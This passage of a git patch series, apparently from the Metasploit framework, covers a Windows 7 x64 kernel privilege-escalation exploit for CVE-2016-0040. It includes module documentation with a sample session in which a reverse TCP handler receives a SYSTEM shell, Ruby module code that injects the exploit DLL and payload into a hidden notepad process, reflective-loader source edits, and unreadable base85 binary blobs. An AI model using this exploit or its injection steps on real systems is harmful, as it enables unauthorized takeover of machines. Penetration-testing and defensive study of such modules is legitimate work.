zMUFBjB}bK0l2evbk)z4c<{-65Emlj^QngGiS1Z&?b&6W0E>V}ME7TgbR*iB+x#C<& zt~6JcE6-KrDsxkERk@^CWrFJXxMRPm!n0OUYB^mE@J>Rpe>% zw0S6BlrPSg Date: Wed, 7 Mar 2018 08:31:25 -0800 Subject: [PATCH 08/16] added documentation. --- .../windows/local/ms16_014_wmi_recv_notif.md | 36 +++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 documentation/modules/exploit/windows/local/ms16_014_wmi_recv_notif.md diff --git a/documentation/modules/exploit/windows/local/ms16_014_wmi_recv_notif.md b/documentation/modules/exploit/windows/local/ms16_014_wmi_recv_notif.md new file mode 100644 index 0000000000..0c831e5b04 --- /dev/null +++ b/documentation/modules/exploit/windows/local/ms16_014_wmi_recv_notif.md @@ -0,0 +1,36 @@ +## Intro + +This module exploits a uninitialized stack variable vulnerability present in the `win32k.sys` kernel driver on Windows 7 x64. The vulnerability is described by MS16-014 and CVE-2016-0040. The module allows the user to elevate privileges (NT AUTHORITY\SYSTEM) + +## Usage + +You'll first need to obtain a session on the target system. Next, once the module is loaded, one simply needs to set the `payload` and `session` options. From here, running the module will result in the payload being executed with system level privileges. + +An example session follows: + + +``` +meterpreter > background +[*] Backgrounding session 0... +msf exploit(handler) > use exploits/windows/local/ms16_014_wmi_recv_notif +msf exploit(ms16_014_wmi_recv_notif) > set session 0 +session => 0 +msf exploit(ms16_014_wmi_recv_notif) > exploit + +[*] Started reverse TCP handler on 172.16.38.170:4444 +[*] Launching notepad to host the exploit... +[+] Process 3948 launched. +[*] Reflectively injecting the exploit DLL into 3948... +[*] Injecting exploit into 3948... +[*] Exploit injected. Injecting payload into 3948... +[*] Payload injected. Executing exploit... +[+] Exploit finished, wait for (hopefully privileged) payload execution to complete. +[*] Command shell session 2 opened (172.16.38.170:4444 -> 172.16.38.129:49695) at 2018-03-07 08:27:57 -0800 + +Microsoft Windows [Version 6.1.7601] +Copyright (c) 2009 Microsoft Corporation. All rights reserved. + +C:\whoami +whoami +SYSTEM +``` From fb04fef3a53af30fbe7157f377441b41843d2ae1 Mon Sep 17 00:00:00 2001 From: Kirk Swidowski Date: Wed, 7 Mar 2018 08:34:49 -0800 Subject: [PATCH 09/16] added documentation. --- .../modules/exploit/windows/local/ms16_014_wmi_recv_notif.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/local/ms16_014_wmi_recv_notif.md b/documentation/modules/exploit/windows/local/ms16_014_wmi_recv_notif.md index 0c831e5b04..b8b7f56ca2 100644 --- a/documentation/modules/exploit/windows/local/ms16_014_wmi_recv_notif.md +++ b/documentation/modules/exploit/windows/local/ms16_014_wmi_recv_notif.md @@ -1,6 +1,6 @@ ## Intro -This module exploits a uninitialized stack variable vulnerability present in the `win32k.sys` kernel driver on Windows 7 x64. The vulnerability is described by MS16-014 and CVE-2016-0040. The module allows the user to elevate privileges (NT AUTHORITY\SYSTEM) +This module exploits a uninitialized stack variable vulnerability present in the WMI subsystem of `ntoskrnl`. The vulnerability is described by MS16-014 and CVE-2016-0040. The module allows the user to elevate privileges (NT AUTHORITY\SYSTEM) ## Usage From f0f6f9610a209bb2d849349aa4cf37300a02cefe Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 3 May 2018 08:42:28 -0500 Subject: [PATCH 10/16] Update Docs per h00die --- .../windows/local/ms16_014_wmi_recv_notif.md | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/windows/local/ms16_014_wmi_recv_notif.md b/documentation/modules/exploit/windows/local/ms16_014_wmi_recv_notif.md index b8b7f56ca2..ca29d00626 100644 --- a/documentation/modules/exploit/windows/local/ms16_014_wmi_recv_notif.md +++ b/documentation/modules/exploit/windows/local/ms16_014_wmi_recv_notif.md @@ -1,13 +1,23 @@ ## Intro -This module exploits a uninitialized stack variable vulnerability present in the WMI subsystem of `ntoskrnl`. The vulnerability is described by MS16-014 and CVE-2016-0040. The module allows the user to elevate privileges (NT AUTHORITY\SYSTEM) +This module exploits an uninitialized stack variable vulnerability +present in the WMI subsystem of `ntoskrnl`. The vulnerability is +described by MS16-014 and CVE-2016-0040. The module allows the user to +elevate privileges (NT AUTHORITY\SYSTEM) -## Usage +This module works against Windows7x64 SP0 and SP1 +It was tested on and fails against Windows 8x64 - Windows 10x64 r1703 -You'll first need to obtain a session on the target system. Next, once the module is loaded, one simply needs to set the `payload` and `session` options. From here, running the module will result in the payload being executed with system level privileges. +## Verification Steps -An example session follows: +- [ ] obtain a session on the target system +- [ ] set the `payload` +- [ ] set the `session` +- [ ] `run` +## Scenarios + +### Windows 7x64 SP1 ``` meterpreter > background From 96b892a546e9710959013aaa6f47feb77ef6c3ea Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 3 May 2018 11:30:05 -0500 Subject: [PATCH 11/16] Make Rubocop happy --- .../windows/local/ms16_014_wmi_recv_notif.rb | 70 ++++++++----------- 1 file changed, 31 insertions(+), 39 deletions(-) diff --git a/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb b/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb index 242ec791a5..dccc426e47 100644 --- a/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb +++ b/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb @@ -13,42 +13,42 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection - def initialize(info={}) - super(update_info(info, { + def initialize(info = {}) + super(update_info(info, 'Name' => 'Windows WMI Recieve Notification Exploit', - 'Description' => %q{ + 'Description' => %q( This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl. This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64. - }, + ), 'License' => MSF_LICENSE, 'Author' => [ - 'smmrootkit', # crash code - 'de7ec7ed', # exploit code - 'de7ec7ed', # msf module - ], - 'Arch' => [ ARCH_X64 ], + 'smmrootkit', # crash code + 'de7ec7ed', # exploit code + 'de7ec7ed', # msf module + ], + 'Arch' => [ARCH_X64], 'Platform' => 'win', - 'SessionTypes' => [ 'meterpreter' ], + 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', - }, - 'Targets' => [ - [ 'Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 } ] - ], - 'Payload' => { - 'Space' => 4096, - 'DisableNops' => true - }, - 'References' => [ - ['CVE', '2016-0040'], - ['MSB', 'MS16-014'], - ['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'], - ['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'], - ['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx'] - ], + 'EXITFUNC' => 'thread' + }, + 'Targets' => [ + ['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }] + ], + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + ['CVE', '2016-0040'], + ['MSB', 'MS16-014'], + ['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'], + ['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'], + ['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx'] + ], 'DisclosureDate' => 'Dec 4 2015', - 'DefaultTarget' => 0 - })) + 'DefaultTarget' => 0) + ) end def check @@ -58,10 +58,6 @@ class MetasploitModule < Msf::Exploit::Local return Exploit::CheckCode::Unknown end - if sysinfo['Architecture'] =~ /(wow|x)64/i - arch = ARCH_X64 - end - file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe' major, minor, build, revision, branch = file_version(file_path) vprint_status("ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") @@ -81,14 +77,12 @@ class MetasploitModule < Msf::Exploit::Local fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end - if sysinfo['Architecture'] == ARCH_X64 - if session.arch == ARCH_X86 - fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') - end + if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end print_status('Launching notepad to host the exploit...') - notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) + notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) begin process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") @@ -116,6 +110,4 @@ class MetasploitModule < Msf::Exploit::Local print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") end - end - From c08f45223d793d2011749b1583453a77f8c4ef40 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 3 May 2018 14:43:31 -0500 Subject: [PATCH 12/16] Clean up comment typos from copy/pasta --- .../source/exploits/CVE-2016-0040/Metasploit/Metasploit.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.c b/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.c index e82679002e..9d6ba9f606 100755 --- a/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.c +++ b/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.c @@ -315,11 +315,11 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) // uiValueB = the address of the import directory uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; - // we assume their is an import table to process + // we assume there is an import table to process // uiValueC is the first entry in the import table uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); - // itterate through all imports + // iterate through all imports while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) { // use LoadLibraryA to load the imported module into memory From 16432efd8faa70159f484e6178fa7f8f8da22bbf Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 3 May 2018 14:45:58 -0500 Subject: [PATCH 13/16] Remove binary file --- .../CVE-2016-0040/CVE-2016-0040.x64.dll | Bin 89088 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100755 data/exploits/CVE-2016-0040/CVE-2016-0040.x64.dll diff --git a/data/exploits/CVE-2016-0040/CVE-2016-0040.x64.dll b/data/exploits/CVE-2016-0040/CVE-2016-0040.x64.dll deleted file mode 100755 index 77c217976f839bbcbce755c9a919551413f0a258..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 89088 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 